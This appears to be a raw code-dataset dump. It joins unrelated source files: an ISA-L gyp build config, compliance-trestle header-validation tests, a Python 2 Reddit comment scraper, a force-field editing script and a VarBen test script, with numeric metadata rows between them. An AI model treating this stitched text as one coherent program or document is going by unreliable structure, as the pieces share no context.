'isa-l_crypto/sha256_mb/sha256_mb_mgr_init_avx2.c', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_sse.asm', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_avx.asm', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_avx2.asm', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_sse.asm', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_avx.asm', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_avx2.asm', 'isa-l_crypto/sha256_mb/sha256_mb_x4_sse.asm', 'isa-l_crypto/sha256_mb/sha256_mb_x4_avx.asm', 'isa-l_crypto/sha256_mb/sha256_mb_x8_avx2.asm', 'isa-l_crypto/sha256_mb/sha256_multibinary.asm', 'isa-l_crypto/sha256_mb/sha256_ctx_avx512.c', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_init_avx512.c', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_avx512.asm', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_avx512.asm', 'isa-l_crypto/sha256_mb/sha256_mb_x16_avx512.asm', 'isa-l_crypto/sha256_mb/sha256_opt_x1.asm', 'isa-l_crypto/sha256_mb/sha256_ni_x1.asm', 'isa-l_crypto/sha256_mb/sha256_ctx_sse_ni.c', 'isa-l_crypto/sha256_mb/sha256_ctx_avx512_ni.c', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_sse_ni.asm', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_sse_ni.asm', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_avx512_ni.asm', ], }, { 'target_name': 'isa-l-sha512', 'type': 'static_library', 'includes': ['../asm.gypi'], 'include_dirs': [ 'isa-l_crypto/include/', 'isa-l_crypto/sha512_mb/', ], 'sources': [ 'isa-l_crypto/sha512_mb/sha512_ctx_sse.c', 'isa-l_crypto/sha512_mb/sha512_ctx_avx.c', 'isa-l_crypto/sha512_mb/sha512_ctx_avx2.c', 'isa-l_crypto/sha512_mb/sha512_ctx_sb_sse4.c', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_init_sse.c', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_init_avx2.c', 'isa-l_crypto/sha512_mb/sha512_sb_mgr_init_sse4.c', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_submit_sse.asm', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_submit_avx.asm', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_submit_avx2.asm', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_flush_sse.asm', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_flush_avx.asm', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_flush_avx2.asm', 'isa-l_crypto/sha512_mb/sha512_mb_x2_sse.asm', 'isa-l_crypto/sha512_mb/sha512_mb_x2_avx.asm', 'isa-l_crypto/sha512_mb/sha512_mb_x4_avx2.asm', 'isa-l_crypto/sha512_mb/sha512_multibinary.asm', 'isa-l_crypto/sha512_mb/sha512_sb_mgr_submit_sse4.c', 'isa-l_crypto/sha512_mb/sha512_sb_mgr_flush_sse4.c', 'isa-l_crypto/sha512_mb/sha512_sse4.asm', 'isa-l_crypto/sha512_mb/sha512_ctx_avx512.c', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_init_avx512.c', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_submit_avx512.asm', 'isa-l_crypto/sha512_mb/sha512_mb_mgr_flush_avx512.asm', 'isa-l_crypto/sha512_mb/sha512_mb_x8_avx512.asm', ], }, # tests { 'target_name': 'erasure_code_base_perf', 'type': 'executable', 'dependencies': ['isa-l-ec'], 'include_dirs': ['isa-l/include/'], 'sources': ['isa-l/erasure_code/erasure_code_base_perf.c'] }, { 'target_name': 'erasure_code_base_test', 'type': 'executable', 'dependencies': ['isa-l-ec'], 'include_dirs': ['isa-l/include/'], 'sources': ['isa-l/erasure_code/erasure_code_base_test.c'] }, { 'target_name': 'erasure_code_perf', 'type': 'executable', 'dependencies': ['isa-l-ec'], 'include_dirs': ['isa-l/include/'], 'sources': ['isa-l/erasure_code/erasure_code_perf.c'] }, { 'target_name': 'erasure_code_sse_perf', 'type': 'executable', 'dependencies': ['isa-l-ec'], 'include_dirs': ['isa-l/include/'], 'sources': ['isa-l/erasure_code/erasure_code_sse_perf.c'] }, { 'target_name': 'erasure_code_sse_test', 'type': 'executable', 'dependencies': ['isa-l-ec'], 'include_dirs': ['isa-l/include/'], 'sources': ['isa-l/erasure_code/erasure_code_sse_test.c'] }, { 'target_name': 'erasure_code_test', 'type': 'executable', 'dependencies': ['isa-l-ec'], 'include_dirs': ['isa-l/include/'], 'sources': ['isa-l/erasure_code/erasure_code_test.c'] }, { 'target_name': 'md5_mb_test', 'type': 'executable', 'dependencies': ['isa-l-md5'], 'include_dirs': ['isa-l_crypto/include/'], 'sources': ['isa-l_crypto/md5_mb/md5_mb_test.c'] }, { # TODO: dynamic linking to openssl usually needs more CFLAGS(-I) and LDFLAGS(-L) 'target_name': 'md5_mb_vs_ossl_perf', 'type': 'executable', 'dependencies': ['isa-l-md5'], 'include_dirs': ['isa-l_crypto/include/'], 'ldflags': ['-lssl','-lcrypto'], 'sources': ['isa-l_crypto/md5_mb/md5_mb_vs_ossl_perf.c'] }, { 'target_name': 'sha256_mb_test', 'type': 'executable', 'dependencies': ['isa-l-sha256'], 'include_dirs': ['isa-l_crypto/include/'], 'sources': ['isa-l_crypto/sha256_mb/sha256_mb_test.c'] } ], }

45.786486

92

0.551502

2,258

16,941

3.713906

0.061116

0.111615

0.158598

0.097663

0.933938

0.887789

0.842476

0.796923

0.5855

0.411281

0

0.063208

0.317337

16,941

369

93

45.910569

0.661911

0.027035

0

0.241791

0

0.600935

0.508502

0

0.00271

0

1

0

true

0

null

0

1

0

1

null

0

1

0

7

e6a55d3d3e74c167b80e5bffcdbe5aacee03d271

19,482

py

Python

tests/trestle/core/commands/author/headers_test.py

guyzyl/compliance-trestle

b6fa6f5d8bfdb52e0a82fc0accd63c11d04d9afc

[ "Apache-2.0" ]

1

2022-01-07T01:11:03.000Z

tests/trestle/core/commands/author/headers_test.py

guyzyl/compliance-trestle

b6fa6f5d8bfdb52e0a82fc0accd63c11d04d9afc

[ "Apache-2.0" ]

null

tests/trestle/core/commands/author/headers_test.py

guyzyl/compliance-trestle

b6fa6f5d8bfdb52e0a82fc0accd63c11d04d9afc

[ "Apache-2.0" ]

null

# -*- mode:python; coding:utf-8 -*- # Copyright (c) 2020 IBM Corp. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for trestle author headers command.""" import pathlib import shutil import sys from uuid import uuid4 from _pytest.monkeypatch import MonkeyPatch import pytest from trestle.cli import Trestle from trestle.core.commands.author.consts import START_TEMPLATE_VERSION from trestle.utils import fs @pytest.mark.parametrize( 'task_name, template_path, content_path, global_, setup_rc, template_validate_rc, validate_rc', [ ('catalogs', pathlib.Path('irrelevant'), pathlib.Path('irrelevant_2'), False, 1, 1, 1), ( 'test_tasks_1', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/meets_templates'), False, 0, 0, 0 ), ( 'test_tasks_2', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/recursive_pass'), False, 0, 0, 0 ), ( 'test_tasks_3', pathlib.Path('author/headers/bad_templates_drawio'), pathlib.Path('author/headers/recursive_pass'), False, 0, 1, 1 ), ( 'test_tasks_4', pathlib.Path('author/headers/bad_templates_wrong_names'), pathlib.Path('author/headers/recursive_pass'), False, 0, 1, 1 ), ( 'test_tasks_5', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/fails_validation_drawio'), False, 0, 0, 3 ), ( 'test_tasks_6', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/fails_validation_drawio_bad_file'), False, 0, 0, 1 ), ( 'test_tasks_7', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/fails_validation_md'), False, 0, 0, 3 ), ( 'test_tasks_8', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/fails_validation_md_bad_file'), False, 0, 0, 3 ), ( 'test_tasks_9', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/passes_with_extraneous_files'), False, 0, 0, 0 ), ( 'test_tasks_10', pathlib.Path('author/headers/bad_templates_md'), pathlib.Path('author/headers/passes_with_extraneous_files'), False, 0, 1, 1 ), ( 'test_tasks_11', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/recursive_pass'), True, 0, 0, 0 ), ( None, pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/recursive_pass'), True, 0, 0, 0 ), ( None, pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/recursive_pass'), False, 1, 1, 1 ), ] ) def test_e2e( task_name: str, template_path: pathlib.Path, content_path: pathlib.Path, global_: bool, setup_rc: int, template_validate_rc: int, validate_rc: int, testdata_dir: pathlib.Path, tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch ) -> None: """Run an E2E workflow with a number of test criteria.""" command_string_setup = 'trestle author headers setup' command_string_create_sample = 'trestle author headers create-sample' command_string_validate_template = 'trestle author headers template-validate' command_string_validate_content = 'trestle author headers validate -r' template_target_loc: pathlib.Path if task_name: tn_string = f' -tn {task_name}' command_string_setup += tn_string command_string_create_sample += tn_string command_string_validate_template += tn_string command_string_validate_content += tn_string template_target_loc = tmp_trestle_dir / '.trestle' / 'author' / task_name / START_TEMPLATE_VERSION else: task_name = 'placeholder' if global_: global_str = ' --global' command_string_setup += global_str command_string_create_sample += global_str command_string_validate_template += global_str command_string_validate_content += global_str template_target_loc = tmp_trestle_dir / '.trestle' / 'author' / '__global__' / START_TEMPLATE_VERSION test_content_loc = tmp_trestle_dir / task_name / f'{uuid4()}' monkeypatch.setattr(sys, 'argv', command_string_setup.split()) rc = Trestle().run() assert rc == setup_rc if setup_rc > 0: return shutil.rmtree(str(template_target_loc)) shutil.copytree(str(testdata_dir / template_path), str(template_target_loc)) monkeypatch.setattr(sys, 'argv', command_string_validate_template.split()) rc = Trestle().run() assert rc == template_validate_rc if template_validate_rc > 0: return # Create sample - should always work if we are here. monkeypatch.setattr(sys, 'argv', command_string_create_sample.split()) rc = Trestle().run() assert rc == 0 shutil.copytree(str(testdata_dir / content_path), str(test_content_loc)) monkeypatch.setattr(sys, 'argv', command_string_validate_content.split()) rc = Trestle().run() assert rc == validate_rc def test_abort_safely_on_missing_directory(tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch) -> None: """Test that validation fails cleanly on a missing directory.""" task_name = 'tester' command_string_setup = f'trestle author headers setup -tn {task_name}' command_string_validate_content = f'trestle author headers validate -tn {task_name} -r' task_dir = tmp_trestle_dir / task_name monkeypatch.setattr(sys, 'argv', command_string_setup.split()) rc = Trestle().run() assert rc == 0 shutil.rmtree(str(task_dir)) monkeypatch.setattr(sys, 'argv', command_string_validate_content.split()) rc = Trestle().run() assert rc > 0 def test_taskpath_is_a_file(tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch) -> None: """Test that validation fails cleanly on a missing directory.""" task_name = 'tester' command_string_setup = f'trestle author headers setup -tn {task_name}' command_string_validate_content = f'trestle author headers validate -tn {task_name} -r' task_dir = tmp_trestle_dir / task_name monkeypatch.setattr(sys, 'argv', command_string_setup.split()) rc = Trestle().run() assert rc == 0 shutil.rmtree(str(task_dir)) task_dir.touch() monkeypatch.setattr(sys, 'argv', command_string_validate_content.split()) rc = Trestle().run() assert rc > 0 def test_taskpath_is_a_file_setup(tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch) -> None: """Test that setup fails cleanly when taskpath is a file.""" task_name = 'tester' command_string_setup = f'trestle author headers setup -tn {task_name}' task_dir = tmp_trestle_dir / task_name task_dir.open('w').write('hello') monkeypatch.setattr(sys, 'argv', command_string_setup.split()) rc = Trestle().run() assert rc > 0 @pytest.mark.parametrize( 'sample_project, exclusions, acceptable', [ (pathlib.Path('author/headers/global/good'), '', True), (pathlib.Path('author/headers/global/pass_with_exceptions'), '', False), (pathlib.Path('author/headers/global/pass_with_exceptions'), 'bad_sample', True), (pathlib.Path('author/headers/global/pass_with_exceptions'), 'sample_indexable_1', False), (pathlib.Path('author/headers/global/pass_with_nested_exceptions'), 'nested/bad', True), (pathlib.Path('author/headers/global/pass_with_nested_exceptions'), 'nested/good', False), (pathlib.Path('author/headers/global/pass_with_nested_exceptions'), 'nested', True) ] ) def test_exclude_global( sample_project: pathlib.Path, exclusions: str, acceptable: bool, testdata_dir: pathlib.Path, tmp_path: pathlib.Path, monkeypatch: MonkeyPatch ) -> None: """Test behaviour of --all flag for trestle author headers.""" command_string = f'trestle author headers validate -r --global --trestle-root={tmp_path}' if not exclusions == '': exclusions_arr = exclusions.split(',') for exclusion in exclusions_arr: command_string += f' --exclude={exclusion.strip()}' # delete temp dir before copy # Required to be shutil.rmtree(tmp_path) shutil.copytree(str(testdata_dir / sample_project), str(tmp_path)) template_path_original = testdata_dir / 'author' / 'headers' / 'good_templates' template_path_parent = tmp_path / '.trestle' / 'author' template_path_parent.mkdir(parents=True) template_path_target = template_path_parent / '__global__' shutil.copytree(str(template_path_original), str(template_path_target)) monkeypatch.setattr(sys, 'argv', command_string.split()) rc = Trestle().run() # noqa: E800 assert (rc == 0) == acceptable # noqa: E800 @pytest.mark.parametrize( 'task_name, template_path, content_path, global_, setup_rc, template_validate_rc, validate_rc', [ ('catalogs', pathlib.Path('irrelevant'), pathlib.Path('irrelevant_2'), False, 1, 1, 1), ( 'test_tasks_1', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/meets_templates'), False, 0, 0, 0 ), ( 'test_tasks_2', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/recursive_pass'), False, 0, 0, 0 ), ( 'test_tasks_3', pathlib.Path('author/headers/bad_templates_drawio'), pathlib.Path('author/headers/recursive_pass'), False, 0, 1, 1 ), ( 'test_tasks_4', pathlib.Path('author/headers/bad_templates_wrong_names'), pathlib.Path('author/headers/recursive_pass'), False, 0, 1, 1 ), ( 'test_tasks_5', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/fails_validation_drawio'), False, 0, 0, 3 ), ( 'test_tasks_6', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/fails_validation_drawio_bad_file'), False, 0, 0, 1 ), ( 'test_tasks_7', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/fails_validation_md'), False, 0, 0, 3 ), ( 'test_tasks_8', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/fails_validation_md_bad_file'), False, 0, 0, 3 ), ( 'test_tasks_9', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/passes_with_extraneous_files'), False, 0, 0, 0 ), ( 'test_tasks_10', pathlib.Path('author/headers/bad_templates_md'), pathlib.Path('author/headers/passes_with_extraneous_files'), False, 0, 1, 1 ), ( 'test_tasks_11', pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/recursive_pass'), True, 0, 0, 0 ), ( None, pathlib.Path('author/headers/good_templates'), pathlib.Path('author/headers/recursive_pass'), True, 0, 0, 0 ) ] ) def test_e2e_backward_compatibility( task_name: str, template_path: pathlib.Path, content_path: pathlib.Path, global_: bool, setup_rc: int, template_validate_rc: int, validate_rc: int, testdata_dir: pathlib.Path, tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch ) -> None: """Run an E2E workflow with existing files.""" command_string_setup = 'trestle author headers setup' command_string_create_sample = 'trestle author headers create-sample' command_string_validate_template = 'trestle author headers template-validate' command_string_validate_content = 'trestle author headers validate -r' template_target_loc: pathlib.Path if task_name: tn_string = f' -tn {task_name}' command_string_setup += tn_string command_string_create_sample += tn_string command_string_validate_template += tn_string command_string_validate_content += tn_string template_target_loc = tmp_trestle_dir / '.trestle' / 'author' / task_name / START_TEMPLATE_VERSION old_template_loc = tmp_trestle_dir / '.trestle' / 'author' / task_name else: task_name = 'placeholder' if global_: global_str = ' --global' command_string_setup += global_str command_string_create_sample += global_str command_string_validate_template += global_str command_string_validate_content += global_str template_target_loc = tmp_trestle_dir / '.trestle' / 'author' / '__global__' / START_TEMPLATE_VERSION old_template_loc = tmp_trestle_dir / '.trestle' / 'author' / '__global__' test_content_loc = tmp_trestle_dir / task_name / f'{uuid4()}' # Copy in template using old path template_loc = testdata_dir / template_path if template_loc.is_dir(): shutil.copytree(str(template_loc), str(old_template_loc)) else: if not old_template_loc.exists(): old_template_loc.mkdir(parents=True) if template_loc.is_file(): shutil.copy2(str(template_loc), str(old_template_loc)) assert old_template_loc.exists() assert not template_target_loc.exists() monkeypatch.setattr(sys, 'argv', command_string_setup.split()) rc = Trestle().run() assert rc == setup_rc if setup_rc > 0: return all_files_wo_version = list(filter(lambda p: p.is_file() and not fs.is_hidden(p), (old_template_loc.iterdir()))) all_files_w_version = list(filter(lambda p: p.is_file() and not fs.is_hidden(p), (template_target_loc.iterdir()))) if template_loc.is_dir(): all_old_files = list(filter(lambda p: p.is_file() and not fs.is_hidden(p), (template_loc.iterdir()))) all_old_files = [el.parts[-1] for el in all_old_files] else: all_old_files = [template_loc.parts[-1]] assert len(all_files_wo_version) == 0 assert template_target_loc.exists() assert all(el in [el.parts[-1] for el in all_files_w_version] for el in all_old_files) shutil.rmtree(str(template_target_loc)) shutil.copytree(str(testdata_dir / template_path), str(template_target_loc)) monkeypatch.setattr(sys, 'argv', command_string_validate_template.split()) rc = Trestle().run() assert rc == template_validate_rc if template_validate_rc > 0: return # Create sample - should always work if we are here. monkeypatch.setattr(sys, 'argv', command_string_create_sample.split()) rc = Trestle().run() assert rc == 0 shutil.copytree(str(testdata_dir / content_path), str(test_content_loc)) monkeypatch.setattr(sys, 'argv', command_string_validate_content.split()) rc = Trestle().run() assert rc == validate_rc def test_ignore_flag(testdata_dir: pathlib.Path, tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch) -> None: """Test that ignored files are not validated. Validation will fail if attempted.""" task_template_folder = tmp_trestle_dir / '.trestle/author/test_task/' test_template_folder = testdata_dir / 'author/headers/good_templates' test_instances_folder = testdata_dir / 'author/headers/ignored_files' task_instance_folder = tmp_trestle_dir / 'test_task' shutil.copytree(test_template_folder, task_template_folder) # copy all files shutil.copytree(test_instances_folder, task_instance_folder) command_string_validate_content = 'trestle author headers validate -tn test_task -ig ^_.*' monkeypatch.setattr(sys, 'argv', command_string_validate_content.split()) rc = Trestle().run() assert rc == 0 # test recursive validation command_string_validate_content = 'trestle author headers validate -tn test_task -ig ^_.* -r' monkeypatch.setattr(sys, 'argv', command_string_validate_content.split()) rc = Trestle().run() assert rc == 0 def test_instance_no_header( testdata_dir: pathlib.Path, tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch ) -> None: """Test behaviour when validating instance with no header.""" task_template_folder = tmp_trestle_dir / '.trestle/author/test_task/' test_template_folder = testdata_dir / 'author/headers/good_templates' test_instances_folder = testdata_dir / 'author/headers/empty_headers' task_instance_folder = tmp_trestle_dir / 'test_task' shutil.copytree(test_template_folder, task_template_folder) # copy all files shutil.copytree(test_instances_folder, task_instance_folder) command_string_validate_content = 'trestle author headers validate -tn test_task' monkeypatch.setattr(sys, 'argv', command_string_validate_content.split()) rc = Trestle().run() assert rc == 3 command_string_validate_content = 'trestle author headers validate -tn test_task -tv 0.0.1' monkeypatch.setattr(sys, 'argv', command_string_validate_content.split()) rc = Trestle().run() assert rc == 3 command_string_validate_content = 'trestle author headers validate -tv 0.0.1' monkeypatch.setattr(sys, 'argv', command_string_validate_content.split()) rc = Trestle().run() assert rc == 1

34.789286

118

0.631044

2,274

19,482

5.113896

0.105541

0.092785

0.083326

0.117637

0.819503

0.801531

0.792845

0.776421

0.770832

0.761888

0

0.011165

0.264449

19,482

559

119

34.851521

0.800349

0.069859

0

0.723849

0

0.218314

0.121815

0

0.050209

1

0.016736

false

0.043933

0.018828

0

0.043933

0

null

0

1

0

1

0

null

0

7

e6c3b1056a6657a676b321a3372d5d879f27d637

2,622

py

Python

get_and_parse_reddit.py

mjperrone/personal-lexicon

f35f2a5bb63925066addedd301123f135dda0a3f

[ "MIT" ]

null

get_and_parse_reddit.py

mjperrone/personal-lexicon

f35f2a5bb63925066addedd301123f135dda0a3f

[ "MIT" ]

null

get_and_parse_reddit.py

mjperrone/personal-lexicon

f35f2a5bb63925066addedd301123f135dda0a3f

[ "MIT" ]

null

#!/usr/bin/env python # usage: `python get_and_parse_reddit.py reddit_user_name` import time import urllib2 import json import sys import HTMLParser # returns (list of comments, list of comment ids) def get_comments(url): time.sleep(2) request = urllib2.Request(url) response = None while response is None: try: response = urllib2.urlopen(request) data = response.read() except urllib2.HTTPError, err: if err.code == 429: # too many requests time.sleep(12) else: raise err decoded = json.loads(data) return [x['data']['body'] for x in decoded['data']['children']], [x['data']['name'] for x in decoded['data']['children']] def scrape_comments(targetUser): all_comments, all_ids = [], [] url = "http://www.reddit.com/user/%s/comments/.json" % targetUser + "?count=%d&after=%s" pages = 0 after = '' while True: comments, ids = get_comments(url % (pages * 25, after)) if not comments or any(i in all_ids for i in ids): break after = ids[-1] all_ids.extend(ids) all_comments.extend(comments) pages += 1 return all_comments def get_submitted(url): time.sleep(2) request = urllib2.Request(url) response = None while response is None: try: response = urllib2.urlopen(request) data = response.read() except urllib2.HTTPError, err: if err.code == 429: # too many requests time.sleep(12) else: raise err decoded = json.loads(data) return [x['data']['title'] + " " + x['data']['selftext'] for x in decoded['data']['children']], [x['data']['name'] for x in decoded['data']['children']] def scrape_submitted(targetUser): all_comments, all_ids = [], [] url = "http://www.reddit.com/user/%s/submitted/.json" % targetUser + "?count=%d&after=%s" pages = 0 after = '' while True: comments, ids = get_submitted(url % (pages * 25, after)) if not comments or any(i in all_ids for i in ids): break after = ids[-1] all_ids.extend(ids) all_comments.extend(comments) pages += 1 return all_comments if __name__ == '__main__': comments = scrape_comments(sys.argv[-1]) for c in comments: print HTMLParser.HTMLParser().unescape(c) for c in scrape_submitted(sys.argv[-1]): print HTMLParser.HTMLParser().unescape(c)

30.137931

157

0.57132

326

2,622

4.493865

0.263804

0.045051

0.016382

0.035495

0.768601

0.722184

0

0.01694

0.30206

2,622

86

158

30.488372

0.783607

0.061404

0

0.724638

0

0.095781

0

null

0

0.072464

null

0.028986

0

null

0

1

0

1

0

null

0

1

0

7

e6c5c37d7ea1e4f589c12ad97131c573bffffc4d

4,306

py

Python

diagonal_term.py

mertyigit/RNAopt

788711ed4d49728b76adc7989469748118722ceb

[ "MIT" ]

null

diagonal_term.py

mertyigit/RNAopt

788711ed4d49728b76adc7989469748118722ceb

[ "MIT" ]

null

diagonal_term.py

mertyigit/RNAopt

788711ed4d49728b76adc7989469748118722ceb

[ "MIT" ]

null

import datetime def diagonalterm(first, second, third, forth, fold, value, ff_file): """Assigns values to the diagonal terms part of the force field file.""" c=1 n=0 position=0 try: file = open(ff_file,"r+") while c==1 and n<5: position = file.read().find(first.ljust(9)+second.ljust(9)+third.ljust(9)+forth.ljust(9)) file.seek(position+50) if file.read(1) == fold: c=0 if file.read(1) != fold: n=n+1 if c==0: file.seek(position) try: position = position + 40 file.seek(position) file.write(('%.3f' % float(value)).rjust(6)) finally: file.close() try: log_file = open('log.dat',"a") log_file.write(first+' '+second+' '+third+' '+forth+' value has been changed to '+value +" ("+datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")+")\n") finally: log_file.close() if c==1: print("Error: Dihedral not found!!") file.close() except IOError: pass def diagonalterm2(first, second, third, forth, fold, value, n_value, phase_value, ff_file): """Assigns values to the diagonal terms part of the force field file.""" c=1 n=0 position=0 try: file = open(ff_file,"r+") while c==1 and n<5: dihedral_name = first.ljust(9)+second.ljust(9)+third.ljust(9)+forth.ljust(9) position = position+file.read().find(dihedral_name) position=position+50 file.seek(position) if file.read(1) == fold: c=0 if file.read(1) != fold: n=n+1 if c==0: ## Assigns the force constant value to the specified dihedral term position=position-50 file.seek(position) try: position = position + 40 file.seek(position) file.write(('%.3f' % float(value)).rjust(6)) log_file = open('log.dat',"a") log_file.write(first+' '+second+' '+third+' '+forth+' force constant value has been changed to '+value +" ("+datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")+")\n") finally: log_file.close() ## Assigns the fold value to the specified dihedral term position=position-40 file.seek(position) try: position = position + 50 file.seek(position) file.write(str(int(n_value))) log_file = open('log.dat',"a") log_file.write(first+' '+second+' '+third+' '+forth+' fold value has been changed to '+n_value +" ("+datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")+")\n") finally: log_file.close() ## Assigns the fold value to the specified dihedral term position=position-50 file.seek(position) try: position = position + 54 file.seek(position) file.write(('%.2f' % float(phase_value)).rjust(6)) finally: file.close() try: log_file = open('log.dat',"a") log_file.write(first+' '+second+' '+third+' '+forth+' phase value has been changed to '+phase_value +" ("+datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")+")\n") finally: log_file.close() if c==1: print("Error: Dihedral - "+dihedral_name+"- not found!!") file.close() except IOError: pass

34.725806

124

0.43451

452

4,306

4.084071

0.174779

0.045504

0.086674

0.068256

0.874865

0.836403

0.753521

0.716685

0

0.022784

0.439387

4,306

124

125

34.725806

0.741922

0.071064

0

0.811111

0

0.092346

0

1

0.022222

false

0.022222

0.011111

0

0.033333

0.022222

0

null

0

1

0

1

0

null

0

7

e6d02c3e00cd8b8e118020b2ed9206cf107180ae

2,416

py

Python

tests/test.py

yulijia/VarBen

a41491d6022822be8be3c5a0dd7e6e06987374cd

[ "MIT" ]

null

tests/test.py

yulijia/VarBen

a41491d6022822be8be3c5a0dd7e6e06987374cd

[ "MIT" ]

null

tests/test.py

yulijia/VarBen

a41491d6022822be8be3c5a0dd7e6e06987374cd

[ "MIT" ]

null

flowOrder="TACGTACGTCTGAGCATCGATCGATGTACAGC" barcode="CTAAGGTAAC" libKey="TCAG" sequence = "GGTCTCTCATGGCACTGTACTCTTCTTGTCCAGCTGTATCCAGTATGTCCAACAAACAGGTTTCACCATCTATAACCACTTGTTTTCTGTAGGGGCTGAACCGCACGACTCCATCCTTGTTGGGCAGGCCCAGGCGGTGCAGTGAGTCGGCCCGCAGCAGCAACAGGAAGTCAAAGGCCTGTCAGGAAGAGGATGGTGAAAGCCAGAGCCAAGCTCGTGCAGGCCCAGGACAGGCGGCGTCCCGTCTCGAGTGATGATCCAGTGTTTTCAGCGA" ori = '208,-2,196,-2,14,208,-12,258,-2,240,208,4,518,460,36,-6,284,-4,16,496,6,232,266,224,232,500,254,-4,262,-4,0,32,228,-4,232,16,252,-4,240,0,26,46,12,0,224,0,16,0,250,54,488,0,0,198,22,240,4,16,0,0,240,-2,0,64,252,-2,20,262,256,244,252,0,272,250,492,0,-2,16,226,-2,542,10,210,6,244,534,0,270,-2,248,18,-2,270,-2,24,44,322,-4,20,218,236,238,28,0,234,478,-4,-2,292,228,20,-4,246,20,-4,206,244,30,262,8,276,22,-6,-10,516,456,-6,232,20,708,254,8,20,202,46,476,674,246,-2,-4,250,0,486,210,284,206,-14,24,222,42,32,264,282,-8,-6,460,462,244,-20,232,502,22,32,178,898,0,206,8,306,28,0,218,14,-8,48,30,232,14,30,242,48,28,880,6,24,8,-22,-12,268,-22,86,30,254,-2,14,282,64,488,480,212,76,236,-28,8,248,-16,230,-26,14,34,220,208,6,256,62,-14,200,-4,-32,-34,594,256,-8,26,214,-22,474,42,470,0,86,226,488,30,-28,676,28,-12,292,210,26,10,472,-26,-2,680,30,226,18,456,-24,-24,336,10,470,92,234,-24,36,272,52,-2,232,28,70,34,8,60,234,182,78,-6,250,-24,292,230,24,100,234,18,202,10,-6,-24,366,26,496,772,6,12,16,230,-10,14,252,20,-22,12,0,20,298,234,254,212,26,-16,238,20,12,242,54,490,6,30,-14,-20,290,304,498,96,24,454,-18,230,182,12,314,0,28,0,0,20,758,484,476,42,214,4,274,12,218,232,80,284,0,466,0,406,84,38,308,10,-22,296,0,460,30,202,46,-2,220,-18,-34,388,120,56,96,14,188,-8,228,600,40,32,256,66,-26,52,-24,-12,466,210,258,46,34,274,38,268,4,-18,414,24,10,40,-14,6,474,258,312,8,202,182,296,104,232,42,210,26,4,68,4,0,352,236,486,646,40,234,16,440,54,210,318,38,20,38,-6,-12,268,398,294,-10,42,20,482,6,52,232,214,-14,150,32,-12,18,688,0,282,100,242,8,170,90,270,10,276,178,42,84,6,-10,302,202,80,-14,240,-20,280,204,254,94,254,212,240,28,-14,4,506,174,128,-8,242,48,22,250,756,18,284,2,50,64,-10,30,256,194,244,22,52,2,254,182' origFlowSignal = [ int(x) for x in ori.split(",")] from varben.common.methods import reCalculateFlowSignal signal, seq = reCalculateFlowSignal(sequence, origFlowSignal, flowOrder, libKey, barcode) print origFlowSignal, "!!", len(origFlowSignal) print signal, len(signal) print sequence, len(sequence) print seq, len(seq)

161.066667

1,724

0.718543

547

2,416

3.173675

0.332724

0.003456

0

0.477656

0.018212

2,416

14

1,725

172.571429

0.254216

0

0.083333

0.843957

0.836921

0

null

0

0.083333

null

0.333333

0

null

0

1

0

1

0

1

null

0

1

0

7

e6f5d07459f634ca50e45b9dbe75b26cd2146efb

43,714

py

Python

kmip/tests/unit/core/messages/payloads/test_get_attributes.py

smira/PyKMIP

54f3688a14bcc442b270765e21732b77d18b2a72

[ "Apache-2.0" ]

null

